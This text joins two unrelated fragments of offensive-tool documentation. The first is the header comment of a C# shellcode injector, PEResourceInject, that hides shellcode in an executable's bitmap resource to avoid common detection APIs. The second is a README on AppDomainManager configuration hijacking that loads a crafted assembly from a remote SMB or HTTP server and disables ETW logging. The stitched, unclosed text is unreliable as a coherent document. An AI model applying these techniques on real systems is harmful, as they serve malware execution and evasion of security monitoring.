/*
 * PEResourceInject (C# version for x64) by Wra7h
 * 
 * Add a bitmap resource to an executable. Parse the PE header and calculate the address of the shellcode.
 * This avoids direct calls to VirtualAllocEx & WriteProcessMemory, but will modify the target exe on disk,
 * and this implementation will create a backup of the executable in the same directory with a ".bak" extension.
 * 
 * Compile: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe .\PEResourceInject.cs
 * Use: PEResourceInject.exe <C:\Path\to\target\program.exe> <C:\Path\to\shellcode.bin>

This is a variation of the technique originally discovered by subtee and described here

TL;DR It essentially allows you to turn any .NET application into a lolbin by providing a configuration file and specifying the <appDomainManagerAssembly> element pointing to a specially crafted .NET assembly which executes when the application is loaded.

This variation allows you to load the AppDomainManager assembly from a UNC path or HTTP(s) server. Also disables ETW thanks to the <etwEnable> element :)

1. Copy some binary you love to say, C:\Test. Lets use aspnet_compiler.exe as an example
2. Compile test.cs to test.dll with a signed strong name, this is required to load an assembly outside of a .NET applications base directory.
3. Host test.dll on a remote SMB or HTTP(S) server
